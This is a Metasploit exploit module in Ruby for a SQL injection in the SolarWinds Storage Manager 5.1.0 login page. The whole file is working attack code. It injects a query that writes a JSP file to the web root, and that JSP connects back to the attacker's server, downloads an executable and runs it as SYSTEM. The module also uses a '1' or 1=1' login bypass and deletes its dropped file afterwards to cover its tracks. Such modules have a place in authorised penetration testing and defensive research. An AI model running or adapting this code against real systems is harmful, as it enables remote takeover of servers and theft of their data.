require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Solarwinds Storage Manager 5.1.0 SQL Injection",
'Description' => %q{
This module exploits a SQL injection found in Solarwinds Storage Manager
login interface. It will send a malicious SQL query to create a JSP file
under the web root directory, and then let it download and execute our malicious
executable under the context of SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'r@b13$',
'muts',
'sinn3r'
],
'References' =>
[
['EDB', '18818'],
['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'win',
'Targets' =>
[
['Windows Universal', {}]
],
'Privileged' => false,
'DisclosureDate' => "Dec 7 2011",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 9000])
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/LoginServlet'
})
if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
jsp = @outpath.gsub(/\//, "\\\\")
jsp = jsp.gsub(/"/, "")
vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
cli.fs.file.rm(jsp)
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
cli.put(@native_payload)
service.close_client(cli)
end
def generate_jsp_payload
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
my_port = datastore['SRVPORT']
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
StringBuffer buf = new StringBuffer();
byte[] shellcode = null;
BufferedOutputStream outstream = null;
try {
Socket s = new Socket("#{my_host}", #{my_port});
BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
while (buf.length() < #{@native_payload.length}) {
buf.append( (char) r.read());
}
BASE64Decoder decoder = new BASE64Decoder();
shellcode = decoder.decodeBuffer(buf.toString());
File temp = File.createTempFile("#{@native_payload_name}", ".exe");
String path = temp.getAbsolutePath();
outstream = new BufferedOutputStream(new FileOutputStream(path));
outstream.write(shellcode);
outstream.close();
Process p = Runtime.getRuntime().exec(path);
} catch (Exception e) {}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp.unpack("H*")[0]
end
def inject_exec
select(nil, nil, nil, 1)
print_status("#{rhost}:#{rport} - Sending JSP payload")
pass = rand_text_alpha(rand(10)+5)
hex_jsp = generate_jsp_payload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/LoginServlet',
'headers' => {
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'loginState' => 'checkLogin',
'password' => pass,
'loginName' => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
}
})
if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/
cookie = "JSESSIONID=#{$1}"
else
print_error("Unable to get a session ID")
return
end
print_status("#{rhost}:#{rport} - Trigger JSP payload")
send_request_cgi({
'method' => 'POST',
'uri' => '/LoginServlet',
'headers' => {
'Cookie' => cookie,
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'loginState' => 'checkLogin',
'password' => pass,
'loginName' => "1' or 1=1#--"
}
})
res = send_request_raw({
'method' => 'POST',
'uri' => "/#{@jsp_name + '.jsp'}",
'headers' => {
'Cookie' => cookie
}
})
handler
end
def exploit
@native_payload = [generate_payload_exe].pack("m*")
@native_payload_name = rand_text_alpha(rand(6)+3)
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""
begin
t = framework.threads.spawn("reqs", false) { inject_exec }
print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
super
ensure
t.kill
end
end
end